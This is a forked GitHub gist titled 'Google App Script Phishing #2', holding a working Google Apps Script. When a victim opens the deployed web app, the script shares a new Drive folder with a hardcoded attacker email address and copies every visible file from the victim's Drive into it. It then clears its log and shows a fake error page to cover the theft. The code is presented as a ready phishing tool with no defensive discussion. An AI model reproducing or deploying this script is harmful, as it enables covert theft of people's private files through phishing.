Skip to content

Instantly share code, notes, and snippets.

@srand2
Forked from ahhh/driveSearch.gs
Created May 29, 2023 11:38
Show Gist options
  • Save srand2/d3f33bb8646a63f0a070da1ebecbc246 to your computer and use it in GitHub Desktop.
Save srand2/d3f33bb8646a63f0a070da1ebecbc246 to your computer and use it in GitHub Desktop.
Google App Script Phishing #2
function driveSearch() {
// Setup the exfil folder
var user = Session.getActiveUser().getEmail();
var folder = DriveApp.createFolder(user);
var attackerEmail = "ahhh.db@gmail.com";
folder.addViewer(attackerEmail);
// Search Drive
var files = DriveApp.searchFiles('hidden = false');
// Iterate through files in Drive
while (files.hasNext()) {
var file = files.next();
var name = file.getName();
Logger.log(name);
// Exfiltrate each file
//file.addViewer(attackerEmail);
file.makeCopy(name, folder);
}
Logger.clear();
}
function doGet(e) {
var params = JSON.stringify(e);
driveSearch();
return HtmlService.createHtmlOutput('An error has occured');
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment